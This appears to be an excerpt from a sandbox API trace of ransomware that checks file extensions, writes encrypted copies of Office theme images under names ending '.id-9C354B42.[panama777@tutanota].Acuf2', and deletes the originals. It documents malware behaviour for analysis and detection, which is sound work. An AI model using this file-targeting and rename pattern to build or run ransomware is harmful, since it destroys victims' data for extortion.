	[0052.458] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0052.458] lstrlenW (lpString=".xls") returned 4
	[0052.458] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0052.458] lstrlenW (lpString=".xlsx") returned 5
	[0052.458] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0052.458] lstrlenW (lpString=".ppt") returned 4
	[0052.458] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0052.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75
	[0052.458] lstrlenW (lpString=".zip") returned 4
	[0052.458] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0052.458] lstrlenW (lpString=".rar") returned 4
	[0052.458] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0052.458] lstrlenW (lpString=".bz2") returned 4
	[0052.458] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0052.458] lstrlenW (lpString=".7z") returned 3
	[0052.458] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0052.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75
	[0052.458] lstrlenW (lpString=".dbf") returned 4
	[0052.458] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0052.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75
	[0052.458] lstrlenW (lpString=".1cd") returned 4
	[0052.458] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0052.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75
	[0052.459] lstrlenW (lpString=".jpg") returned 4
	[0052.459] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0052.459] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0052.459] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0052.459] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0052.459] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=3611) returned 1
	[0052.459] CloseHandle (hObject=0x1f8) returned 1
	[0052.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 0x20
	[0052.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0052.459] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0052.460] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0052.460] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0052.460] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0052.462] GetLastError () returned 0x0
	[0052.462] ReadFile (in: hFile=0x1f8, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0xe1b, lpOverlapped=0x0) returned 1
	[0052.463] WriteFile (in: hFile=0x158, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xe20, lpOverlapped=0x0) returned 1
	[0052.464] ReadFile (in: hFile=0x1f8, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0052.464] WriteFile (in: hFile=0x158, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0052.464] SetEndOfFile (hFile=0x158) returned 1
	[0052.464] CloseHandle (hObject=0x158) returned 1
	[0052.465] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0052.465] SetEndOfFile (hFile=0x1f8) returned 1
	[0052.465] CloseHandle (hObject=0x1f8) returned 1
	[0052.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0052.466] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif")) returned 1
	[0052.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73
	[0052.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73
	[0052.466] lstrlenW (lpString=".doc") returned 4
	[0052.466] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0052.466] lstrlenW (lpString=".docx") returned 5
	[0052.466] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0052.466] lstrlenW (lpString=".pdf") returned 4
	[0052.466] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0052.466] lstrlenW (lpString=".xls") returned 4
	[0052.466] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0052.466] lstrlenW (lpString=".xlsx") returned 5
	[0052.466] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0052.466] lstrlenW (lpString=".ppt") returned 4
	[0052.466] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0052.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73
	[0052.466] lstrlenW (lpString=".zip") returned 4
	[0052.466] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0052.466] lstrlenW (lpString=".rar") returned 4
	[0052.466] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0052.467] lstrlenW (lpString=".bz2") returned 4
	[0052.467] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0052.467] lstrlenW (lpString=".7z") returned 3
	[0052.467] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0052.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73
	[0052.467] lstrlenW (lpString=".dbf") returned 4
	[0052.467] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0052.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73
	[0052.467] lstrlenW (lpString=".1cd") returned 4
	[0052.467] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0052.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73
	[0052.467] lstrlenW (lpString=".jpg") returned 4
	[0052.467] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0052.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73
	[0052.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73
	[0052.467] lstrlenW (lpString=".doc") returned 4
	[0052.467] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0052.467] lstrlenW (lpString=".docx") returned 5
	[0052.467] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0052.467] lstrlenW (lpString=".pdf") returned 4
	[0052.467] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0052.467] lstrlenW (lpString=".xls") returned 4
	[0052.467] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0052.467] lstrlenW (lpString=".xlsx") returned 5
	[0052.467] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0052.467] lstrlenW (lpString=".ppt") returned 4
	[0052.467] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0052.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73
	[0052.467] lstrlenW (lpString=".zip") returned 4
	[0052.468] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0052.468] lstrlenW (lpString=".rar") returned 4
	[0052.468] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0052.468] lstrlenW (lpString=".bz2") returned 4
	[0052.468] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0052.468] lstrlenW (lpString=".7z") returned 3
	[0052.468] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0052.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73
	[0052.468] lstrlenW (lpString=".dbf") returned 4
	[0052.468] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0052.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73
	[0052.468] lstrlenW (lpString=".1cd") returned 4
	[0052.468] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0052.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF") returned 73
	[0052.468] lstrlenW (lpString=".jpg") returned 4
	[0052.468] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0052.468] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
	[0052.468] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0052.468] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0052.468] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=34163) returned 1
	[0052.469] CloseHandle (hObject=0x1f8) returned 1
	[0052.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png")) returned 0x20
	[0052.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0052.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0052.469] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0052.469] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0052.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0052.469] GetLastError () returned 0x0
	[0052.469] ReadFile (in: hFile=0x1f8, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x8573, lpOverlapped=0x0) returned 1
	[0052.471] WriteFile (in: hFile=0x158, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x8580, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x8580, lpOverlapped=0x0) returned 1
	[0052.473] ReadFile (in: hFile=0x1f8, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0052.473] WriteFile (in: hFile=0x158, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0052.473] SetEndOfFile (hFile=0x158) returned 1
	[0052.473] CloseHandle (hObject=0x158) returned 1
	[0052.473] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0052.473] SetEndOfFile (hFile=0x1f8) returned 1
	[0052.474] CloseHandle (hObject=0x1f8) returned 1
	[0052.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0052.474] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png")) returned 1
	[0052.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74
	[0052.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74
	[0052.475] lstrlenW (lpString=".doc") returned 4
	[0052.475] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0052.475] lstrlenW (lpString=".docx") returned 5
	[0052.475] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0052.475] lstrlenW (lpString=".pdf") returned 4
	[0052.475] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0052.475] lstrlenW (lpString=".xls") returned 4
	[0052.475] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0052.475] lstrlenW (lpString=".xlsx") returned 5
	[0052.475] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0052.475] lstrlenW (lpString=".ppt") returned 4
	[0052.475] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0052.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74
	[0052.475] lstrlenW (lpString=".zip") returned 4
	[0052.475] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0052.475] lstrlenW (lpString=".rar") returned 4
	[0052.475] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0052.475] lstrlenW (lpString=".bz2") returned 4
	[0052.475] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0052.475] lstrlenW (lpString=".7z") returned 3
	[0052.475] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0052.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74
	[0052.475] lstrlenW (lpString=".dbf") returned 4
	[0052.475] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0052.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74
	[0052.475] lstrlenW (lpString=".1cd") returned 4
	[0052.475] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0052.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74
	[0052.476] lstrlenW (lpString=".jpg") returned 4
	[0052.476] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0052.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74
	[0052.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74
	[0052.476] lstrlenW (lpString=".doc") returned 4
	[0052.476] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0052.476] lstrlenW (lpString=".docx") returned 5
	[0052.476] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0052.476] lstrlenW (lpString=".pdf") returned 4
	[0052.476] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0052.476] lstrlenW (lpString=".xls") returned 4
	[0052.476] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0052.476] lstrlenW (lpString=".xlsx") returned 5
	[0052.476] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0052.476] lstrlenW (lpString=".ppt") returned 4
	[0052.476] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0052.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74
	[0052.476] lstrlenW (lpString=".zip") returned 4
	[0052.476] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0052.476] lstrlenW (lpString=".rar") returned 4
	[0052.476] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0052.476] lstrlenW (lpString=".bz2") returned 4
	[0052.476] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0052.476] lstrlenW (lpString=".7z") returned 3
	[0052.476] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0052.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74
	[0052.476] lstrlenW (lpString=".dbf") returned 4
	[0052.476] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0052.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74
	[0052.476] lstrlenW (lpString=".1cd") returned 4
	[0052.476] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0052.477] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74
	[0052.477] lstrlenW (lpString=".jpg") returned 4
	[0052.477] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0052.477] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0053.010] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0053.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0053.115] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=937) returned 1
	[0053.115] CloseHandle (hObject=0x200) returned 1
	[0053.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 0x20
	[0053.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0053.117] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0053.123] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.130] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.130] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0053.145] GetLastError () returned 0x0
	[0053.146] ReadFile (in: hFile=0x1e8, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x3a9, lpOverlapped=0x0) returned 1
	[0053.147] WriteFile (in: hFile=0x200, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x3b0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x3b0, lpOverlapped=0x0) returned 1
	[0053.148] ReadFile (in: hFile=0x1e8, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0053.148] WriteFile (in: hFile=0x200, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0053.148] SetEndOfFile (hFile=0x200) returned 1
	[0053.148] CloseHandle (hObject=0x200) returned 1
	[0053.149] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.149] SetEndOfFile (hFile=0x1e8) returned 1
	[0053.149] CloseHandle (hObject=0x1e8) returned 1
	[0053.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0053.150] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 1
	[0053.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71
	[0053.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71
	[0053.150] lstrlenW (lpString=".doc") returned 4
	[0053.150] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0053.150] lstrlenW (lpString=".docx") returned 5
	[0053.150] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0053.150] lstrlenW (lpString=".pdf") returned 4
	[0053.150] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0053.150] lstrlenW (lpString=".xls") returned 4
	[0053.150] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0053.150] lstrlenW (lpString=".xlsx") returned 5
	[0053.150] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0053.150] lstrlenW (lpString=".ppt") returned 4
	[0053.150] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0053.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71
	[0053.150] lstrlenW (lpString=".zip") returned 4
	[0053.150] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0053.150] lstrlenW (lpString=".rar") returned 4
	[0053.150] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0053.150] lstrlenW (lpString=".bz2") returned 4
	[0053.151] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0053.151] lstrlenW (lpString=".7z") returned 3
	[0053.151] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0053.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71
	[0053.151] lstrlenW (lpString=".dbf") returned 4
	[0053.151] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0053.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71
	[0053.151] lstrlenW (lpString=".1cd") returned 4
	[0053.151] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0053.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71
	[0053.151] lstrlenW (lpString=".jpg") returned 4
	[0053.151] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
